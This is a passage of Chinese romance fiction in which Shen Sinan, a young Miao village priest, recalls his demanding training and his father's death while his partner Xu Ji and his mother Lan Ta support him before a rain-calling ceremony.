靠窗的男生推了推眼镜，一本正经地补充：“祭祀是苗寨的精神支柱吧？得有担当，能扛事，还得懂很多老规矩老故事，不然怎么服众？” 颜染也挤过来凑热闹，晃着辫梢的银铃脆生生地喊：“我觉得祭祀是会罚我抄寨规的！但上次我摔下山崖，也是司南阿哥背我回来的！” 议论声里，余淮轻轻笑了笑，转头看向角落里的沈司南和许祭，眼底带着几分深意。 余淮轻轻叹了口气，目光掠过沈司南紧抿的唇角，声音里带着几分旁人听不出的唏嘘：“你们只看到祭祀的尊贵，却不知道，祭祀大人，很苦很累的。” 这话像一颗石子投进水里，教室里的议论声顿时变了味道，少了几分戏谑，多了些郑重。 “苦？累？”赵铁锤挠了挠头，声音低了不少，“祭祀不是只要守着祭坛，主持仪式就行吗？” 苏招蹙着眉，若有所思地接话：“我听我阿爷说过，以前苗寨闹灾，祭祀要跪在祭坛前祈福，跪到膝盖都肿了，几天几夜不吃饭。” 王翠花的眼睛微微泛红，小声道：“原来司南阿哥这么不容易啊……他平时看着冷冷的，没想到要扛这么多事。” 靠窗的男生推了推眼镜，补充道：“不止祈福吧？寨子里的大小事，谁家有矛盾，有难处，是不是都要找祭祀拿主意？” 颜染也不闹了，攥着辫梢的银铃，小声嘀咕：“我记得去年冬天，寨子里的老井冻住了，司南阿哥守在井边，守了一整夜呢……” 议论声渐渐低了下去，所有人的目光都落在沈司南身上，看他挺直的脊背，看他握着许祭的手，忽然觉得，那份清冷的尊贵背后，藏着太多不为人知的沉甸甸的责任。 李沐阳靠在门框上，抱着胳膊笑了一声，接话道：“是啊，要是祭祀的活儿很轻松，那我也能顶上。” 这话一出，教室里顿时响起一片哄笑声，议论声也跟着热闹起来。 “拉倒吧你！”赵铁锤笑得直拍桌子，“上次寨里祭祖，你连祭品摆位都记混了，还想当祭祀？” 苏招也跟着打趣：“就是！你连最基础的苗语祝词都念不利索，真要当了祭祀，苗寨的山神怕是都要笑出声！” 王翠花捂着嘴笑，补充道：“而且祭祀要守那么多规矩，你连早起都做不到，还谈什么吃苦受累？” 靠窗的男生推了推眼镜，一本正经地拆台：“从理论上来讲，祭祀需要精通苗寨的历史、仪式、草药等多项技能，你一项都不达标，建议直接淘汰。” 余淮听着，忍不住伸手拍了李沐阳一下，嗔道：“就你贫嘴。” 李沐阳嘿嘿一笑，凑到余淮身边，故意扬声道：“开个玩笑嘛！我哪能跟我们这位正经祭祀比？人家可是从小背着寨规长大的，我这粗人可扛不住那份累。” 沈司南瞥了他一眼，嘴角却极淡地勾了一下，没说话，只是将许祭的手又攥紧了几分。 沈司南的目光微微放空，落在窗外的老槐树上，指尖无意识地摩挲着许祭的手背，记忆像是被风吹开的褶皱，慢慢铺展。 他想起七岁那年，阿爹还在。 那时候的祭坛比现在更旧，青石板缝里长着青苔，风一吹，带着松枝和香灰的味道。阿爹站在祭坛上，手里拿着泛黄的寨规册子，声音沉得像山涧的石头：“司南，从今天起，你要把这些都背下来，一字不差。” 册子上的字是老苗文，弯弯曲曲的像虫子爬，他认得不全，只能跟着阿爹一个字一个字地念。白天要跟着寨里的老药师认草药，分辨哪些能治病，哪些是蛊引，哪些碰都碰不得；晚上就蹲在油灯下，对着册子死记硬背，背错一个字，阿爹的戒尺就会落在手心上，不痛，却烫得慌。 有天夜里下大雨，雷声劈下来，把窗户纸都震得发抖。他抱着册子缩在墙角，实在困得睁不开眼，眼皮子打架的时候，阿爹走过来，没打他，只是摸了摸他的头，说：“祭祀不是享福的命，是扛事的。” 后来阿爹走了，走的那天，也是大雨。 他跪在祭坛前，把整本寨规背了一遍，背到最后一句“祭祀在，苗寨在”的时候，雨砸在脸上，冷得像冰。那天起，他再也没哭过，也再也没在别人面前露出过半分软弱。 “司南？”许祭察觉到他的指尖发凉，轻轻晃了晃他的手。 沈司南回过神，低头看向他，眼底的雾霭散了，取而代之的是温柔的笑意，他摇了摇头：“没什么，想起了一些小时候的事。” 教室里的议论声不知何时停了，赵铁锤和苏招他们都没说话，只是安安静静地看着他，眼里满是敬佩。颜染更是红了眼眶，攥着绣帕小声说：“司南阿哥，你好辛苦啊。” 李沐阳见状，连忙上前一步拍了拍沈司南的肩膀，扬起嗓门打破了这略显沉闷的气氛：“哎哎哎，都别耷拉着脸，多大点事儿，不要伤感，不说这个了！来，我给你们讲讲我小时候的糗事！” 这话一出，教室里瞬间活络起来，议论声此起彼伏，满是好奇。 “哇！李副校长还有糗事？我可太想听了！”赵铁锤瞬间来了精神，拍着手大声起哄。 “肯定是偷摸下河摸鱼被抓吧？我猜的！”苏招托着下巴，眼睛亮晶晶地猜道。 王翠花也跟着点头，小声和旁边的同学嘀咕：“李副校长看着就很皮，小时候说不定总闯祸。” 靠窗的男生推了推眼镜，一本正经地分析：“按照常理推断，他的糗事大概率和余淮姐有关，毕竟他俩从小一起长大。” 余淮没好气地瞪了他一眼，伸手拧了拧他的胳膊：“你少在这里胡说八道，小心我把你小时候偷藏糖糕的事抖出来。” 李沐阳吃痛地嘶了一声，连忙告饶：“别别别！我错了我错了！” 这一来一回的互动，逗得全班同学都笑出了声，刚才那点沉甸甸的气氛，瞬间烟消云散。 李沐阳摸了摸鼻子，脸上的笑容淡了些，语气也带上了点回忆的味道：“我小时候啊，第一次见沈司南，他还是个丁点大的小孩子，跪在他家院里的青石板上，手里还攥着那本寨规册子，天都黑透了，他还没起来。我那时候傻，看着他可怜，就跑过去塞给他一块糖，想关心关心他，结果转头就被家里人逮住，结结实实揍了一顿。” 这话一出，教室里的议论声顿时响了起来，带着满满的好奇。 “啊？为什么要打你啊？就因为给了一块糖？”赵铁锤瞪大了眼睛，满脸不解。 “肯定是那时候祭祀的规矩严！随便打扰祭祀后人背寨规，是犯忌讳的吧？”苏招摸着下巴，一副恍然大悟的样子。 王翠花听得眼睛都红了，小声嘀咕：“那时候的司南阿哥得多可怜啊，大晚上的跪着，连块糖都不能吃。” 靠窗的男生推了推眼镜，补充道：“这就能看出来，祭祀的传承从小时候就带着枷锁了，连旁人的一点善意都要被规矩拦着。” 颜染也攥紧了绣帕，眨巴着眼睛问余淮：“淮姨，那时候的规矩真的这么严吗？” 余淮无奈地点了点头，瞥了李沐阳一眼：“那时候寨子里的人都把祭祀看得重，觉得规矩不能破，哪像现在这么活络。” 李沐阳像是忽然想起了当年屁股上挨的那顿板子，下意识地搓了搓后腰，脸上堆起几分讨好的笑，凑到沈司南跟前，刻意压低了声音，尾音还拖出点黏糊糊的调子，带着点撒娇的意味：“沈司南，你最好了，当年那顿打我可是替你挨的，现在放过我行不行嘛？” 他说着，还伸手想去拍沈司南的肩膀，手腕刚抬起来，就被沈司南用眼神轻飘飘地扫了一眼。那眼神凉丝丝的，带着点不容置喙的淡漠，李沐阳的手就僵在了半空中，心里咯噔一下，暗道不好，这茬怕是没那么容易翻篇。 沈司南连眼皮都没抬一下，指尖依旧慢悠悠地摩挲着许祭的手背，指腹蹭过许祭手背上浅浅的骨节，动作轻柔得不像话，可吐出的两个字，却干脆利落，半点情面都不留：“不行。” 许祭坐在旁边，看着李沐阳那副吃瘪的模样，忍不住弯了弯唇角，指尖在沈司南的掌心轻轻挠了挠。沈司南感受到掌心的痒意，侧头看他一眼，眼底瞬间漫开一层温柔的笑意，和方才那副冷淡的样子判若两人。 这话一出，教室里瞬间爆发出一阵憋不住的哄笑声，议论声也跟着此起彼伏，连带着空气里的沉闷都散了不少。 “哈哈哈！李副校长撒娇都没用！沈祭司也太不给面子了！”赵铁锤拍着桌子笑，差点把桌角的练习册都掀翻，眼睛里满是看热闹的兴味，心里暗道，原来李副校长也有吃瘪的时候，平时看他怼天怼地的，遇上沈司南还不是没辙。 苏招也笑得直捂肚子，肩膀一耸一耸的，凑到王翠花耳边，挤眉弄眼地小声嘀咕：“看出来了吧，沈祭司这是记仇呢！小时候的事儿到现在还没忘，这心眼也太小了——不过我喜欢！”王翠花咬着唇笑，指尖捻着衣角，小声接话：“李副校长也太逗了，居然还跟沈祭司撒娇，反差也太大了！” 靠窗的男生推了推鼻梁上的眼镜，镜片反光遮住了眼底的笑意，却一本正经地转头跟同桌分析：“这就叫一物降一物，李副校长平时那么皮，上蹿下跳的，也就沈祭司能治住他！你看沈祭司那态度，分明就是揣着明白装糊涂，故意逗他呢！” 余淮靠在门框上，看着李沐阳那副委屈巴巴的样子，也忍不住笑出了声，抬脚轻轻踹了踹他的小腿，嗔道：“活该，谁让你小时候那么欠，非要去撩拨他。” 李沐阳哀嚎一声，捂着后脑勺往后退了两步，脸上的讨好瞬间垮了下来，委屈巴巴地瞪着沈司南，心里腹诽，这小子也太记仇了，不就是小时候偷偷塞给他一块糖吗，至于记到现在？嘴上却不敢多说，只能嘟囔着：“你这人，怎么一点情面都不讲！” 沈司南这才抬眼，瞥了他一下，嘴角极淡地勾了勾，那笑意转瞬即逝，快得让人以为是错觉。他没再说话，只是反手握住许祭的手，将那只温软的手拢在掌心，低头凑到许祭耳边，用只有两人能听见的声音轻声问：“刚才没吓到你吧？” 窗外的夜色已经浓得化不开，路灯的光晕透过窗户洒进来，在课桌上投下一片暖黄的光斑，教室里的吊扇嗡嗡转着，带着几分夏夜的燥热。 赵铁锤最先撑着桌子站起身，椅子腿在水泥地上划出刺啦一声响，他伸了个老大的懒腰，骨头缝里都透着股懒洋洋的劲儿，扯着嗓子叹道：“唉——终于要放学了！这晚自习上得我眼皮子都快粘一块儿了！” 这话瞬间戳中了所有人的心声，教室里立刻响起一片此起彼伏的附和，笔尖划过纸张的沙沙声都停了下来。 “可不是嘛！我感觉我的脑子都快成浆糊了！”苏招把笔往笔袋里一丢，动作麻利地收拾着课本，“等下冲去校门口买碗冰粉，加超多的山楂碎，爽死！” 王翠花慢吞吞地把作业本塞进书包，手指揉着发胀的太阳穴，小声嘀咕：“回家得赶紧洗漱睡觉，明天还要早起背书呢，今晚的月亮看着都犯困。” 靠窗的男生抬腕看了眼手表，镜片反射着窗外的灯光，一本正经地接话：“距离放学铃响还有三分钟，按照惯例，值日班长还会啰嗦两分钟，咱们能准时踏出校门就不错了。” “别啊——”好几个人异口同声地哀嚎起来，惹得前排的余淮都忍不住回头笑了笑。 颜染也蹦蹦跳跳地凑到许祭身边，辫梢上的银铃叮当作响，眼睛在夜色里亮得像星星：“嫂嫂，晚自习放学啦，要不要和司南阿哥一起去我家？我阿婆留了甜酒冲蛋，热乎乎的可好喝了！” 许祭闻言，弯着眉眼笑了笑，指尖轻轻蹭了蹭沈司南的手背，语气温软又带着几分认真：“不了，我要和司南回去背古书。” 他说着，抬眼看向沈司南，眼底盛着细碎的笑意，“之前你说的那本记录苗寨草药的册子，我还没背熟呢，今晚得趁热打铁。” 沈司南垂眸看他，眸色柔和得像化开的春水，伸手揉了揉他的头发，指尖划过他柔软的发顶，声音低沉悦耳：“不急，慢慢记。” 颜染闻言，撇了撇嘴，却还是乖巧地点点头：“好吧好吧，那你们记得早点休息，别熬太晚啦！” 旁边的赵铁锤吹了声口哨，挤眉弄眼地起哄：“哟哟哟，学霸情侣就是不一样，放学都不忘记学习！” 这话惹得周围同学一阵哄笑，许祭的脸颊微微泛红，伸手轻轻掐了下沈司南的胳膊，沈司南却反手握住他的手腕，嘴角噙着淡淡的笑意，任由他闹。 42. 娶雨 夜色漫进教室窗棂时，兰榙挎着竹篮从门口走进来，竹篮里飘出腊肉和糯米的香气，她擦了擦额角的薄汗，笑着朝沈司南和许祭招手：“司南，阿祭，收拾收拾先别忙着回去背古书了，我带了腊肉糯米饭，你们肯定饿了，先垫垫肚子。” 许祭刚要开口推辞，兰榙又拍了拍竹篮沿儿，眉眼弯弯地补充道：“对了，忘了跟你们说，明天就是寨里的娶雨大典，司南得主持仪式，忙得很。阿祭，你下午记得叫上同学们都来凑热闹，祭典上有长桌宴，还有跳花舞，热闹着呢。” 这话一出，原本收拾书包的同学们都停了手，齐刷刷地看过来。 赵铁锤第一个举手，嗓门响亮：“兰榙阿婆！算我一个！我早就想看看娶雨大典了！” “还有我还有我！”苏招也跟着喊，“我要带相机拍下来！” 王翠花红着脸小声问：“阿婆，长桌宴上有酸汤鱼吗？我超爱吃的。” 兰榙被这阵仗逗得笑出了声，连连点头：“有有有！管够！都来都来，寨子里就喜欢人多热闹。” 沈司南揽着许祭的肩，指尖轻轻敲了敲他的手背，低声道：“听见了？明天别睡懒觉。” 许祭弯着眼睛点头，转头冲同学们扬声：“都来啊！到时候我带你们去祭坛旁边的好位置！” 夜色像浸了浓墨的棉絮，沉沉地压在苗寨错落的吊脚楼上，瓦檐上的青苔泛着冷润的光，只有沈司南和许祭住的那间木屋还亮着昏黄的油灯。窗棂上糊着的竹纸被穿堂风拂得轻轻晃，灯芯爆出细碎的火星，映得窗纸上两个并肩的影子忽明忽暗。 沈司南坐在梨木桌前，脊背挺得笔直，手里捧着一本泛黄的线装古书，书页边缘被经年累月的翻阅磨得发了毛，脆得仿佛一碰就会碎。上面是密密麻麻的老苗文，弯弯曲曲像山间缠绕的藤萝，旁边还摊着几张草纸，用炭笔画满了娶雨大典的流程，字迹被晕开了些许，是方才许祭不小心碰洒了米茶的痕迹。他的眉头微蹙着，指尖蘸了点清水，轻轻点在书页上某个晦涩的字符上，喉结无声地滚动着，像是在低声默念。灯光落在他的侧脸，勾勒出清晰的下颌线，眼底蒙着一层淡淡的倦意，却又透着不容错漏的专注。 许祭坐在他身侧的小凳上，手里攥着一支削得尖尖的炭笔，时不时伸手帮他翻一页书，动作轻得像怕惊扰了什么。他另一只手端着一盏温热的米茶，茶盏壁上凝着细密的水珠，是他换了第三遍的热水。 夜渐渐深了，巷子里的狗吠声都歇了，只有虫鸣在墙角此起彼伏。隔壁的木棉阿婆起夜，披着靛蓝的土布褂子，踩着木屐路过窗下，借着昏黄的灯光看见沈司南微蹙的眉头，还有他眼下淡淡的青影。阿婆叹了口气，脚步放得极轻，转身回屋掀开灶上的蒸笼，端了一碗还冒着热气的甜酒冲蛋过来，碗边搁着两颗剥好的桂圆。她走到窗下，手指轻轻叩了叩木棂：“司南，阿祭，快歇会儿吧，梆子都敲过三更了。” 许祭闻声抬头，眼尾带着点熬夜的红，他笑着应道：“谢谢木棉阿婆。”说着伸手去接碗，指尖碰到碗壁的暖意，忍不住弯了弯唇角。 沈司南也抬眼，目光从书页上移开，落在阿婆布满皱纹的脸上，声音带着点熬夜后的沙哑，却依旧礼貌：“麻烦您了，阿婆。” 阿婆把碗递进来，目光落在桌上摊开的古书和草纸上，忍不住伸手摸了摸沈司南的头发，掌心的温度带着岁月的粗糙：“傻孩子，娶雨大典的规矩你五岁就背得滚瓜烂熟，何苦熬到这么晚？你这身子骨，哪里禁得住这么折腾？”她的声音里满是心疼，尾音都带着点颤，“小时候背书背到吐的样子，阿婆还记得呢。” 这话刚落，斜对门的铁匠大叔也推门出来，他刚打完一把祭祀用的铜刀，身上还带着铁屑的味道，手里拎着个刚打好的铜铃铛，铃铛上刻着繁复的苗纹，风一吹就发出清脆的声响。他站在巷口，嗓门洪亮却刻意压低了些，怕惊了夜的静：“司南！明早的仪式有我们帮衬着，摆祭品、搭祭台这些粗活，你不用操心！赶紧睡！别等熬出病来，寨子里的人都得心疼！” 话音落，不远处又有一扇木门吱呀响了一声，是寨里的老药师，他探出头来，手里攥着一小包安神的草药：“司南，把这个煮水喝，能睡个安稳觉。” 油灯的光晕里，沈司南的喉结轻轻动了动，他看向窗外，夜色里，隐约能看见几家吊脚楼的窗户纸都亮了一下，又暗了下去。他知道，寨子里的人都没睡沉，都惦记着他。 许祭握着他微凉的手，指尖轻轻揉着他泛白的指节，把温热的甜酒冲蛋推到他面前，低声道：“先喝了，看完这一页就睡，好不好？” 沈司南转头看他，眼底的倦意被温柔的笑意取代，他点了点头，声音轻得像羽毛拂过心尖：“好。” 窗外的风还在吹，带着苗寨特有的草木香和泥土的湿润气，巷子里的灯一盏盏亮了又暗，那些细碎的光影，全是藏不住的心疼。 夜色漫过苗寨的吊脚楼时，沈司南终于合上书页，指尖划过封面烫金的老苗文，那三个字被岁月磨得温润，是《娶雨祭典考》。油灯的光昏黄如豆，在他眼睫下投下一小片阴影，许祭把凉透的米茶端去灶房，回来时手里攥着块温热的帕子，踮脚替他擦了擦眉心的倦意。 “看完了？”许祭的声音放得很轻，怕惊碎了这深夜的静。 沈司南抬眼，眸子里盛着灯影，像揉碎了的星子，他嗯了一声，伸手把人拉进怀里，下巴抵在许祭的发顶，闻到一股淡淡的草木香，是白日里两人去后山采艾草沾染上的。 “想起小时候的事了。”沈司南的声音低哑，带着熬夜后的微涩，“第一次跟着阿爹主持娶雨大典，我才八岁。” 许祭蜷在他怀里，手指轻轻勾着他的衣摆，没说话，只是安静地听着。 那时候的天比现在更蓝，寨子里的老槐树也比现在粗，阿爹还在，是苗寨最威严也最温柔的祭祀，阿妈兰榙总守在守灵屋的门口，手里端着一碗温热的红糖姜茶，等他和阿爹练完祝词出来。娶雨大典的前三天，阿爹就带着他住进了祭坛旁的守灵屋，那里没有油灯，只有月光透过窗棂洒进来，落在满墙的祭祀图谱上。阿爹教他认祭品，教他念祝词，教他跳迎神舞，那些老苗文拗口得很，他背错一个字，阿爹的戒尺就会落在手心上，不痛，却烫得慌。每次他红着眼眶抿着嘴不肯哭的时候，守在门口的阿妈就会悄悄递进来一颗糖，用帕子包着，是他最爱吃的桂花糖。 大典前一夜，天旱得厉害，寨子里的水塘都见了底，禾苗卷着叶子，像奄奄一息的孩子。阿爹坐在门槛上抽烟，烟杆明灭的火光映着他的侧脸，阿妈兰榙坐在他身边，手里纳着鞋底，针线穿梭的声音在夜里格外清晰。“司南，”阿爹忽然开口，声音沉得像山涧的石头，“祭祀不是享福的命，是扛事的。天不下雨，百姓就没饭吃，我们守着祭坛，就是守着苗寨的活路。”阿妈没说话，只是伸手揉了揉他的头发，掌心的温度裹着桂花糖的甜香，暖得他鼻尖发酸。 那时候的沈司南似懂非懂，只是攥着阿妈的衣角，点头说：“我知道了。” 第二天凌晨，鸡还没叫，阿妈就把他叫起来，替他换上厚重的祭祀袍。袍子是用苗寨最老的织锦做的，上面绣着行云流水的纹，缀着青铜铃铛，走起路来叮当作响。阿妈替他系好腰带，又弯腰替他理了理衣角，眼眶红红的：“崽崽，别怕，阿妈和阿爹都在。”他仰头看着阿妈，用力点头，把眼泪憋了回去。 他跟着阿爹走到祭坛上，寨子里的人都来了，黑压压的一片，跪在青石板上，眼神里满是期盼。阿妈站在祭坛的最边缘，手里端着一碗清水，目光紧紧地落在他身上，像一道温暖的光。 阿爹站在祭坛中央，手里握着青铜剑，高声念着祝词。那声音穿过晨雾，飘向远山，沈司南站在他身后，跟着念，声音稚嫩，却字字清晰。阳光一点点爬上山头，把阿爹的影子拉得很长，他看见阿爹的额头渗着汗，顺着脸颊往下淌，浸湿了领口的织锦；也看见阿妈抬手擦了擦眼角，嘴角却弯着笑。 仪式进行到一半，忽然刮起了风，吹得祭祀袍猎猎作响。阿爹举起剑，指向天空，高声喊：“祈雨——” 所有的人都跟着喊：“祈雨——” 那声音震耳欲聋，沈司南的耳膜嗡嗡作响。他看见阿爹的手在抖，却依旧稳稳地举着剑，直到第一滴雨落在他的脸上，凉丝丝的。 雨越下越大，砸在青石板上，溅起细碎的水花。寨子里的人欢呼起来，跪在雨里，放声大哭。阿爹放下剑，转身看着他，笑了，眼角的皱纹像水波一样漾开。他伸手摸了摸沈司南的头，说：“司南，你长大了。”阿妈快步走过来，撑开油纸伞罩在他和阿爹的头顶，伞面落着噼里啪啦的雨声，她的声音裹在雨里，温柔得不像话：“走，回家喝姜汤，别冻着了。” 那天的雨下了很久，久到寨子里的水塘都满了，久到禾苗重新挺直了腰杆。沈司南被阿妈牵着手走回守灵屋，祭祀袍湿了大半，沉甸甸地压在身上，他却觉得很轻，像是完成了一件天大的事。回到屋里，阿妈给他换上干净的衣服，又端来一碗热腾腾的姜汤，里面还卧着两个荷包蛋，他喝得鼻尖冒汗，暖乎乎的热气从胃里漫上来，熨帖了四肢百骸。 “后来呢？”许祭的声音带着点哽咽，他抬手，替沈司南擦了擦眼角，那里没有泪，却透着一股难言的酸涩。 沈司南握住他的手，贴在自己的脸上，指尖摩挲着他的掌心，声音轻得像叹息：“后来，阿爹走了。” 走的那天，也是一个雨天，和娶雨大典那天的雨一模一样，大得吓人。阿爹躺在病床上，拉着他的手，把那本《娶雨祭典考》递给他，说：“司南，以后，祭坛就交给你了。”阿妈兰榙坐在床边，背对着他，肩膀微微发抖，却没有哭出声。他接过书，指尖碰到阿爹冰凉的手，眼泪终于掉了下来，砸在书页上，晕开了老苗文的墨迹。 阿爹走后，阿妈一夜之间好像老了好几岁，鬓角添了霜白，却依旧每天把家里收拾得干干净净，依旧在他熬夜背书的时候，端来一碗甜酒冲蛋，依旧在他去祭坛的时候，站在门口，目送他的背影消失在晨雾里。那年他十二岁，还没长成挺拔的少年，却要扛起整个苗寨的希望。第一次独自主持娶雨大典，也是一个旱季，天热得像个蒸笼，阿妈凌晨就起来替他整理祭祀袍，袍子是阿爹留下的，太长，她就蹲在地上，一针一线地改短，指尖被针扎破了，渗出血珠，她只是吮了吮，继续缝补。 他站在祭坛上，穿着改过的祭祀袍，握着那柄沉甸甸的青铜剑，念着祝词。声音不大，却足够清晰，穿过人群，飘向远山。他看见寨子里的人看着他，眼神里有期盼，也有担忧；看见阿妈站在最熟悉的位置，手里依旧端着一碗清水，目光坚定，像在告诉他：崽崽，别怕。他攥紧了剑，手心全是汗，直到第一滴雨落在脸上，他才松了口气，差点栽倒在祭坛上。 那天的雨下得很大，他却站在雨里，哭了很久。阿爹不在了，可阿妈还在，还在守着他，守着这个家。 “从那以后，每年的娶雨大典，都是我一个人主持。”沈司南的声音很轻，却带着沉甸甸的重量，“我以为，会一直这样，直到我也像阿爹一样，老去，离开。” 他低头，看着许祭的眼睛，眸子里盛着温柔的光，像今夜的月光：“直到遇见你。” 许祭的心猛地一颤，他抬头，撞进沈司南的眸子里，那里有他的影子，清晰而明亮。他伸手，抱住沈司南的脖子，把脸埋进他的颈窝，声音闷闷的：“沈司南。” “嗯。” “明天的大典，我陪你。还有阿妈，我们一起。” “好。” 沈司南抱着他，指尖轻轻抚过他的脊背，动作温柔得不像话。窗外的风还在吹，带着雨丝的湿润气，檐下的铜铃叮当作响，像是阿妈深夜缝补衣物的针线声。 许祭抬起头，看着他，眼里闪着光：“明天，我要站在你身边，和你一起念祝词，一起等雨来。阿妈可以站在我们身后，就像……就像以前一样。” 沈司南笑了，眼角的倦意散去，只剩下温柔的笑意。他低头，吻了吻许祭的额头，像落下一片轻柔的月光。 “好。” 夜色渐深，油灯的光渐渐暗了下去，沈司南吹灭了灯，抱着许祭躺在床上。窗外的月光透过窗棂洒进来，落在两人交握的手上，温柔而绵长。 许祭蜷缩在沈司南的怀里，听着他沉稳的心跳，渐渐有了睡意。迷迷糊糊间，他听见沈司南在他耳边轻声说：“阿祭，有你在，真好。阿妈也说，她从来没见过我笑得这么开心。” 许祭弯了弯唇角，往他怀里蹭了蹭，小声回应：“嗯，有你在，也很好。” 苗寨的深夜很静，只有虫鸣和风声，还有两颗相依的心，在月光下，慢慢靠近，再也不分开。 天快亮的时候，许祭被一阵轻微的响动惊醒。他睁开眼，看见沈司南正披衣起身，动作轻得怕吵醒他。许祭揉了揉眼睛，小声问：“怎么醒了？” 沈司南回头，月光落在他的脸上，温柔得像水。他走过来，坐在床边，替许祭掖了掖被角：“睡不着，想去祭坛看看。阿妈应该也醒了，她总习惯提前去祭坛整理祭品。” 许祭撑着身子坐起来，眼里还带着睡意：“我陪你。” 沈司南想拒绝，却看见许祭眼里的坚持，只好点了点头。两人披了件外衣，轻手轻脚地走出木屋，走进微凉的晨雾里。 苗寨还在睡梦中，吊脚楼的窗棂上蒙着一层薄薄的水汽，石板路上沾着露水，踩上去湿湿的。两人并肩走着，没有说话，却觉得心安。远远地，就看见祭坛的方向亮着一盏灯，灯下站着一个熟悉的身影，正是兰榙。她穿着靛蓝的土布褂子，手里拿着抹布，正仔细地擦拭着祭坛上的青石板，动作缓慢而虔诚。 祭坛就在寨子的最高处，青石板铺成的台阶，一级一级，通向云雾缭绕的顶端。沈司南牵着许祭的手，一步一步往上走，青铜铃铛在他的衣摆上叮当作响。 走到祭坛顶端时，天刚蒙蒙亮，远山在晨雾里若隐若现，像一幅水墨画。兰榙听见脚步声，回头看过来，看见是他们，脸上露出温柔的笑意：“醒了？我想着早点过来收拾，省得等下忙乱。” 沈司南走过去，接过她手里的抹布：“阿妈，歇会儿吧，我来。” 兰榙拍了拍他的手背，目光落在他和许祭交握的手上，眼里的笑意更浓了：“傻孩子，你昨天熬夜到那么晚，该歇着的是你。”她又看向许祭，招了招手，“阿祭，过来，阿妈给你带了桂花糕，甜的。” 许祭笑着走过去，接过兰榙递来的油纸包，里面的桂花糕还带着温热的气息，甜香扑鼻。“谢谢阿妈。” “谢什么，”兰榙揉了揉他的头发，眼神慈爱，“以后都是一家人，不用客气。” 许祭的脸颊微微泛红，低头咬了一口桂花糕，甜丝丝的味道在嘴里化开，暖到了心底。 沈司南看着他们，嘴角噙着淡淡的笑意。他走到祭坛中央，那里立着一块无字碑，是阿爹当年亲手立的。兰榙走过来，站在他身边，目光落在无字碑上，声音轻得像风：“你阿爹当年说，祭祀的功绩，不需要刻在石头上，要刻在百姓的心里。他还说，以后你要是遇到了喜欢的人，一定要带回来给他看看，他想知道，是谁能陪你守着这座祭坛，守着苗寨。” 沈司南的喉结轻轻动了动，转头看向许祭，许祭也看过来，眼里满是笑意和坚定。“阿妈，他来了。” 兰榙点了点头，眼里闪过一丝泪光，却笑着说：“看见了，你阿爹在天上，也看见了。” 晨风吹过，掀起三人的衣角，许祭忽然伸出手，握住了沈司南和兰榙的手。沈司南一愣，随即反手握住他的手，兰榙也握紧了他的手，掌心相贴的温度，暖得像春日的阳光。 “阿妈，沈司南，”许祭的声音带着晨雾的湿润，却无比坚定，“明天，我和你们一起。” “好。”沈司南和兰榙异口同声地说。 阳光一点点爬上山头，驱散了晨雾，照亮了整个苗寨。远处传来鸡鸣声，清脆而响亮，石板路上渐渐有了脚步声，寨子里的人都醒了，开始为明天的娶雨大典忙碌起来。 沈司南牵着许祭的手，兰榙走在他们身边，三人站在祭坛顶端，看着远山，看着云雾，看着渐渐苏醒的苗寨。风里带着青草的香气和桂花糕的甜香，温柔而缱绻。 沈司南知道，从此以后，他再也不是一个人了。有阿妈在，有许祭在，守着这座祭坛，守着苗寨，守着他们的家。 回到木屋时，天已经大亮了。许祭走进灶房，开始生火做饭，兰榙坐在院子里，择着青菜，沈司南站在门口，看着他们忙碌的身影，嘴角的笑意从未散去。 娶雨大典的前一天，苗寨的空气里弥漫着喜悦的气息。家家户户都在打扫庭院，准备祭品，孩子们穿着新衣服，在巷子里跑来跑去，银铃的响声此起彼伏。 沈司南和许祭坐在院子里，翻看着那本《娶雨祭典考》。许祭指着上面的一幅插图，问：“这是什么？” 沈司南凑过去，看了一眼，说：“这是迎神舞的舞步，明天要跳的。” 他放下书，站起身，拉着许祭的手，说：“我教你。” 兰榙坐在一旁，看着他们，手里的针线穿梭得更快了，嘴角的笑意藏都藏不住。 许祭笑着点头，跟着沈司南的脚步，慢慢跳起来。祭祀舞的舞步很慢，很庄重，每一个动作都有着特殊的意义。沈司南牵着他的手，一步一步，耐心地教着。阳光落在两人身上，镀上一层金色的光晕，院子里的栀子花飘着香，温柔而缱绻。兰榙看着看着，忽然想起了很多年前，沈司南还是个小不点，跟着阿爹在院子里学跳舞，也是这样，一步一步，认真而执着。 “就这样，”沈司南的声音带着笑意，“明天，跟着我跳，别紧张。” 许祭看着他，眼里闪着光，点头说：“嗯，不紧张。有你和阿妈在，我什么都不怕。” 两人跳了一会儿，就坐在石凳上休息。许祭靠在沈司南的肩上，看着院子里的栀子花，忽然说：“沈司南，我好像爱上苗寨了。” 沈司南转头，看着他，眼里满是温柔：“那就在这里，永远待下去。” “好。” 许祭的声音很轻，却带着无比的坚定。他知道，从此以后，这里就是他的家，有沈司南的地方，有兰榙的地方，就是他的家。 傍晚的时候，兰榙把做好的祭祀袍拿了出来，是新做的，比阿爹留下的那件更合身，上面的纹绣得更精致，青铜铃铛也更响亮。沈司南接过袍子，摸了摸上面的纹，那是兰榙熬了好几个夜晚绣出来的，针脚细密，带着母亲的温度。“阿妈，谢谢你。” 兰榙笑着摆手：“谢什么，这是寨子里的心意，也是阿妈我的心意。明天，你要好好主持大典，别辜负了阿爹的期望，也别辜负了寨子里的人。” 沈司南点头，声音郑重：“我知道。” 兰榙又看向许祭，手里拿着一件靛蓝的土布褂子，上面绣着淡淡的栀子花纹：“阿祭，这是给你的，明天你穿着它，站在司南身边，好看。” 许祭接过褂子，心里暖暖的，眼眶有些发红：“谢谢阿妈。” “傻孩子，”兰榙揉了揉他的头发，眼里满是慈爱，“明天你要好好陪着司南，他一个人扛了这么多年，不容易。” 许祭点头，握住沈司南的手，说：“我会的。” 兰榙满意地点点头，转身走进灶房，开始准备晚饭。沈司南拿着祭祀袍，走进屋里，许祭跟在他身后。 “明天，你穿这件袍子，一定很好看。”许祭的声音带着笑意。 沈司南回头，看着他，眼里满是温柔：“和你一起，才好看。” 许祭的脸颊微微泛红，却还是抬头，迎上他的目光。两人相视一笑，眼里的温柔，像院子里的栀子花，悄然绽放。 夜色再次降临，苗寨的吊脚楼里亮起了灯，星星点点，像天上的星子。沈司南和许祭坐在窗前，看着窗外的夜色，听着远处传来的歌声，心里满是安宁。兰榙端来一碗甜酒冲蛋，放在他们面前，笑着说：“早点睡，明天还要早起呢。” “好，阿妈也早点睡。”沈司南说。 兰榙点点头，转身回了自己的房间。 “明天，会下雨吗？”许祭小声问。 沈司南握住他的手，指尖摩挲着他的掌心，声音坚定：“会的。” 